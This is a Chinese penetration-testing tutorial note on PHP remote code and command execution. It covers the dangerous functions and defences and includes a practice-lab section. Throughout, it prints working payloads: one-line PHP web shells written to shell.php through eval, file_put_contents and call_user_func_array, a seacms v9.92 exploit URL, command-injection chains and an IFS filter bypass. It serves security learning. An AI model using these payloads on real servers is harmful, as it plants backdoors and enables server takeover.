渗透测试-17:CRE 漏洞


RCE

  • RCE(Remot Command/Code Execute),远程命令/代码执行
  • 远程命令执行:用户可以控制系统命令执行函数的参数,也称命令注入
  • 远程代码执行:用户输入的参数可以作为代码执行,也称代码注入
  • 命令执行可以看作是一种特殊的代码执行,代码执行相对会更加灵活
  • 应用有时候会考虑代码的简洁性、灵活性,会在代码中调用 eval 之类的函数
  • 代码执行(注入)漏洞:在 web 方面是指应用程序过滤不严,用户可以通过请求将代码注入到应用中由服务器执行,导致一系列不可控的后果
PHP:eval assert
Python:exec
ASP:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能

远程代码执行

漏洞危害

  • 获取当前文件的绝对路径
print __FILE__
  • 读取服务器文件
file_get_contents('C:\Windows\System32\drivers\etc\hosts')
  • 在服务器写入一句话木马
file_put_contents("xxx.php", '<?php @eval($_POST["cmd"]?>', FILE_APPEND | LOCK_EX);
fwrite(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>');
fputs(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>');
  • 执行 PHP 代码,获取服务器内容或相关信息
echo eval("system(dir);")

$data = $_GET["data"];
eval("\$ret = strtolower(\"$data\");");
echo $ret;

post:
?data=");phpinfo();//
?data=${phpinfo()}
  • 控制服务器,利用 Shell 脚本,上传大马,甚至控制服务器

防御方式

  • 尽量不要使用 eval assert 等危险函数
  • 如果使用危险函数的话,一定要对输入内容进行严格的过滤
  • preg_replace 不使用 /e 修饰符
  • php.ini 文件中禁用危险函数 disable_functions

漏洞查找方法

  • 代码审计:最主要的方式,借助代码审计工具,非常方便的审计出此类漏洞

  • 已知的 CMS 漏洞:已知的 CMS,有很多每年都会爆出来很多此类的漏洞

  • 页面传参查找:针对页面有传参的地方,重点关注传入恶意代码尝试,概率相对较小

代码执行相关函数

// 执行代码的函数
eval()
- 将字符串当作 PHP 代码执行
- 里面参数的值 需要 ; 结尾

assert()
- 将字符串当作 PHP 代码执行
- 里面参数 不需要 ; 结尾

// 回调函数
// preg_replace(pattern,replacement,subject)
- 执行一个正则表达式的搜索和替换
- 当第一个参数中存在e修饰符时,第二个参数的值会被当成PHP代码来执行
- 注意:该函数在 5.5 之后版本被弃用,7.0 之后不支持

preg_replace("/(.*?)<\/data>/e", 'system("id")', 'phpinfo()');
preg_replace("/(.*?)<\/data>/e", '$ret=strtolower(\\1)', 'phpinfo()');
preg_replace("/(.*?)<\/data>/e", '$ret="\\1"', '${phpinfo()}');

// call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
$fun = $_GET['fun'];
$para = $_GET['para'];
call_user_func($fun,$para);

// call_user_func_array(callable $callback, array $param_arr): mixed
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php eval($_POST["cmd"]);?>' > shell.php
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=test.php&vars[1][]=<?php eval($_POST["cmd"];?>

// 动态函数
$fun = $_GET['fun'];
$para = $_GET['para'];
$fun($para);

反序列化:unserialize()

远程命令执行

  • 应用程序中有时会调用一些系统命令函数,比如 php 中使用 system、exec、shell_exec 等函数可以执行系统命令,当攻击者可以控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击
  • 命令执行漏洞,属于高危漏洞之一,也可以算是一种特殊的代码执行

产生原因

  1. 用户可以控制输入的内容
  2. 用户输入的内容被当作命令执行

例:日常的网络访问中,我们常常可以看到某些Web网站具有执行系统命令的功能,比如:有些网站提供 ping 功能,我们可以输入一个 IP 地址,它就会帮我们去尝试 ping 目标的 IP 地址,而我们则可以看到执行结果

防御方式

  • 尽量不要使用命令执行函数
  • 客户端提交的变量在进入执行命令函数方法之前,一定要做好过滤,对敏感字符进行转义
  • 在使用动态函数之前,确保使用的函数是指定的函数之一
  • 对 PHP 语言来说,不能完全控制的危险函数最好不要使用

执行多条语句(windows)

命令格式 函数
command1 & command2 前面和后面命令都要执行,无论前面真假
command1 && command2 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
command1 || command2 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
command1 | command2 直接执行后面的语句

执行多条语句(linux)

命令格式 函数
command1 ; command2 前面和后面命令都要执行,无论前面真假
command1 & command2 前面和后面命令都要执行,无论前面真假
command1 && command2 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
command1 || command2 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
command1 | command2 直接执行后面的语句

命令执行相关函数

// 执行外部程序,并且显示输出
system(string $command, int &$return_var = ?): string
system('whoami')

// 将反引号(``)中的内容作为 shell 命令来执行,并将其输出信息返回,效果与函数 shell_exec() 相同
echo `whoami`;

// shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
shell_exec('id');

// 执行 command 参数所指定的命令
exec(string $command, array &$output = ?, int &$return_var = ?): string
exec('whoami', $output);
print_r($output);

// 执行外部程序并且显示原始输出
passthru(string $command, int &$return_var = ?): void
passthru('whoami')

// 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
popen(string $command, string $mode): resource

// 执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数,但是 proc_open() 提供了更加强大的控制程序执行的能力
proc_open(
    mixed $cmd,
    array $descriptorspec,
    array &$pipes,
    string $cwd = null,
    array $env = null,
    array $other_options = null
): resource

// 以给定参数执行程序
pcntl_exec(string $path, array $args = ?, array $envs = ?): void

靶场练习

代码执行

基本方式

phpinfo();
file_put_contents("shell.php","<?php @eval(\$_POST['cmd']);?>")

seacms-v9.92 漏洞

/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?>
/data/mysqli_error_trace.php?a=phpinfo();

命令执行

基本绕过

1.查看目录下的文件
ls						// 无回显
|ls

2.读取key.php
|cat key.php			// 报错
|cat${IFS}key.ph?

3.在源码中找到key

基本方式

127.0.0.1 & echo "<?php @eval($_POST['cmd']);?>" > shell.php
// 或
| echo "<?php @eval(\$_POST['cmd']);?>" > shell.php

| cat shell.php